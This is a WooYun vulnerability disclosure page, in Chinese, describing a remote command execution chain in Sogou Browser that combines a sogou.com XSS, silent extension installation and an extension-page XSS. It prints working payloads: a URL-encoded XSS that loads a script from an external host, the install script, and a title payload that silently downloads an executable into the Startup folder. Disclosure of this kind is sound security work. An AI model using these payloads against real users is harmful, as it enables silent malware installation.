当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146761

漏洞标题:搜狗浏览器远程命令执行(插件安全问题+组合方式执行)

相关厂商:搜狗

漏洞作者: 隐形人真忙

提交时间:2015-10-14 18:43

修复时间:2016-01-17 11:12

公开时间:2016-01-17 11:12

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-14: 细节已通知厂商并且等待厂商处理中
2015-10-19: 厂商已经确认,细节仅向厂商公开
2015-10-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-13: 细节向核心白帽子及相关领域专家公开
2015-12-23: 细节向普通白帽子公开
2016-01-02: 细节向实习白帽子公开
2016-01-17: 细节向公众公开

简要描述:

最近翻了翻搜狗浏览器,结合之前爆出的漏洞,发现其存在缺陷可以远程命令执行。

详细说明:

搜狗浏览器最新版:

1.png


搜狗浏览器在之前的断断续续的修补中,基本没有将问题的根源找到并处理。问题如下:
1、新版本依旧没有限制sogou.com域下向se-extension域进行跳转。
2、没有解决侧边栏的静默安装问题,使用
window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", ..........)依旧可以静默安装插件。
这就导致了只需要去找一个好利用的插件的XSS就能调用sogouExplorer对象,这个对象在插件域中,有这个API(此处请教的random_大牛):

2.png


这个API是用来进行浏览器下载的,任意插件都可以调用,显然是权限过大了,经过测试可以下载到启动目录,win7关闭UAC。
所以,我们只需要找一个好利用的插件XSS,配合静默安装,并在插件XSS中调用这个API,就能达到远程命令执行的效果。
攻击的路径如下:

3.png


根据这个思路,一步一步进行组合实现。
------------------------------
0x00
------------------------------
首先找个sogou.com下的XSS,为啥一定要找呢?因为只有在sogou.com下使用window.open函数进行新窗口打开才不会被拦截,才能使得静默安装成功。
神器扫一个XSS,没啥可说的:

http://fuwu.wap.sogou.com/f/dianhua?fr=detail&fr1=detail_006#page=indexPage&searchKey=%22%2f%3E%3Cimg%20src%3Dx%20onerror%3D%27alert%28%2fxss%2f%29%27%3E&t=1444809286673


4.png


----------------------------
0x01
----------------------------
下面就是找个问题插件,这里有个野生的插件——“搜狗浏览器上网助手”,有浏览页面记录、最常访问网址等野生功能,但是没有对title进行很好的过滤:

5.png


通过插件的URL打开即可触发,所以是个“好利用”的插件XSS,因为可以很方便的触发,不需要用户参与。
在se-extension域下,我们就可以使用sogouExplore对象进行静默下载的操作了。
-------------------------
0x02
-------------------------
有了上面的两个XSS,就不难写出POC。
首先是sogou.com域下的XSS调用外部js:

http://fuwu.wap.sogou.com/f/dianhua?fr=detail&fr1=detail_006#page=indexPage&searchKey=%22%2f%3E%3Cimg%20src%3Dx%20onerror%3D%27var%20s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A%2f%2f1.exploitcat.sinaapp.com%2fsogou%2ftest.js%3F%22%2bMath.random%28%29%3Bdocument.body.appendChild%28s%29%3B%27%3E&t=1444809286673


外部js:

//安装问题插件
window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", "com.bravehearts.zhushou", "0.0.0.7", "test", '-1', 'undefined', 'undefined', function(){
console.log(arguments);}
);
//构造上网记录
function trigger(){
var url = 'http://1.exploitcat.sinaapp.com/sogou/1.html?' + new Date();
var w = window.open(url) ;
}
//跳转至恶意插件域
function go(){
var w = window.open('se-extension://ext1020332890/v.html?' + new Date()) ;
}
trigger();
setTimeout(go, 3000) ;


代码可以看到,外部js主要进行:
1、问题插件静默安装
2、创造一个恶意的浏览页面,这个页面的title包含我们的执行代码,页面代码如下:

<!DOCTYPE html>
<html>
<head>
<title>
<img src=x onerror=sogouExplorer.downloads.downloadSilently({url:"http://127.0.0.1/calc.exe",filename:"calc.exe",path:"C:/Users/exploitcat/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/",method:"GET"})>
</title>
</head>
<body>
xss test
</body>
</html>


3、跳转至se-extension域进行触发。

6.png


撸个gif看看效果:
http://7xjb22.com1.z0.glb.clouddn.com/sogource.gif

漏洞证明:

撸个gif看看效果:
http://7xjb22.com1.z0.glb.clouddn.com/sogource.gif

修复方案:

看看上述过程,重点是静默安装和跳转限制上做修复。

版权声明:转载请注明来源 隐形人真忙@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-19 11:10

厂商回复:

感谢支持

最新状态:

暂无


漏洞评价:

评价

  1. 2015-10-14 18:48 | 数据流 认证白帽子 ( 普通白帽子 | Rank:738 漏洞数:93 | 没关系啊,我们还有音乐)

    最近洞主挺给力呀..

  2. 2015-10-14 18:51 | 隐形人真忙 ( 普通白帽子 | Rank:125 漏洞数:16 | Hello hacker!)

    @数据流 还在学习中...多看看你们的案例:-)

  3. 2015-10-19 11:59 | 撸大叔 ( 实习白帽子 | Rank:62 漏洞数:11 | 钓鱼培养耐心 养鱼需要精心!)

    前排支持

  4. 2015-10-22 16:34 | 1937nick ( 普通白帽子 | Rank:123 漏洞数:40 | 水能载舟,亦能煮粥。物尽其用,人尽其能。)

    默默关注